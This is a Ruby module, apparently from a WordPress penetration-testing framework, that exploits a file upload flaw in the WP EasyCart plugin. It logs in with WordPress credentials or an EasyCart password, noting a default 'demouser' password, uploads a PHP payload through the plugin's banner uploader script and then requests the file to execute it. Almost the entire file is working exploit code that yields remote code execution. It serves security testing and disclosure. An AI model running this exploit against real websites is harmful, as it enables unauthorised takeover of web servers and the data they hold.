lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::EasyCartShellUpload < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
include Wpxf::WordPress::Login
def initialize
super
update_info(
name: 'EasyCart Shell Upload',
desc: 'WordPress Shopping Cart (WP EasyCart) Plugin for WordPress '\
'contains a flaw that allows a remote attacker to execute '\
'arbitrary PHP code. This flaw exists because the '\
'/inc/amfphp/administration/banneruploaderscript.php script does '\
'not properly verify or sanitize user-uploaded files. By '\
'uploading a .php file, the remote system will place the file in '\
'a user-accessible path. Making a direct request to the uploaded '\
'file will allow the attacker to execute the script with the '\
'privileges of the web server.'\
"\n"\
'In versions <= 3.0.8 authentication can be done by using the '\
'WordPress credentials of a user with any role. In later '\
'versions, a valid EasyCart admin password will be required that '\
'is in use by any admin user. A default installation of EasyCart '\
'will setup a user called "demouser" with a preset password '\
'of "demouser".',
author: [
'Kacper Szurek', # Vulnerability disclosure
'rastating' # WPXF module
],
references: [
['WPVDB', '7745']
],
date: 'Jan 08 2015'
)
register_options([
StringOption.new(
name: 'username',
desc: 'The WordPress username to authenticate with (versions <= 3.0.8)'
),
StringOption.new(
name: 'password',
desc: 'The WordPress password to authenticate with (versions <= 3.0.8)'
),
StringOption.new(
name: 'ec_password',
desc: 'The EasyCart password to authenticate with (versions <= 3.0.18)'
),
BooleanOption.new(
name: 'ec_password_is_hash',
desc: 'Whether or not ec_password is an MD5 hash',
default: false
)
])
end
def username
normalized_option_value('username')
end
def password
normalized_option_value('password')
end
def ec_password
normalized_option_value('ec_password')
end
def ec_password_is_hash
normalized_option_value('ec_password_is_hash')
end
def use_wordpress_authentication
username.to_s != '' && password.to_s != ''
end
def use_ec_authentication
ec_password.to_s != ''
end
def req_id
if ec_password_is_hash
return ec_password
else
return Utility::Text.md5(ec_password)
end
end
def check
check_plugin_version_from_readme('wp-easycart', '3.0.19')
end
def plugin_url
normalize_uri(wordpress_url_plugins, 'wp-easycart')
end
def uploader_url
normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
end
def payload_body_builder(date_hash, payload_name, include_req_id)
builder = Utility::BodyBuilder.new
builder.add_field('datemd5', date_hash)
builder.add_file_from_string('Filedata', payload.encoded, payload_name)
builder.add_field('reqID', req_id) if include_req_id
builder
end
def run
return false unless super
if !use_wordpress_authentication && !use_ec_authentication
emit_error 'You must set either the username and password options or '\
'specify an ec_password value'
return false
end
if use_wordpress_authentication && use_ec_authentication
emit_info 'Both EasyCart and WordPress credentials were supplied, '\
'attempting WordPress first...'
end
if use_wordpress_authentication
emit_info "Authenticating using #{username}:#{password}..."
cookie = wordpress_login(username, password)
if !cookie
if use_ec_authentication
emit_warning 'Failed to authenticate with WordPress, attempting '\
'upload with EC password next...'
else
emit_error 'Failed to authenticate with WordPress'
return false
end
else
emit_success 'Authenticated with WordPress', true
end
end
emit_info 'Preparing payload...'
payload_name = Utility::Text.rand_alpha(10)
date_hash = Utility::Text.md5(Time.now.to_s)
uploaded_filename = "#{payload_name}_#{date_hash}.php"
payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
builder = payload_body_builder(
date_hash,
"#{payload_name}.php",
use_ec_authentication
)
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(url: uploader_url, body: body, cookie: cookie)
end
if res.nil? || res.code != 200
emit_error 'Failed to upload payload'
emit_error "Server responded with code #{res.code}", true
return false
end
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
true
end
end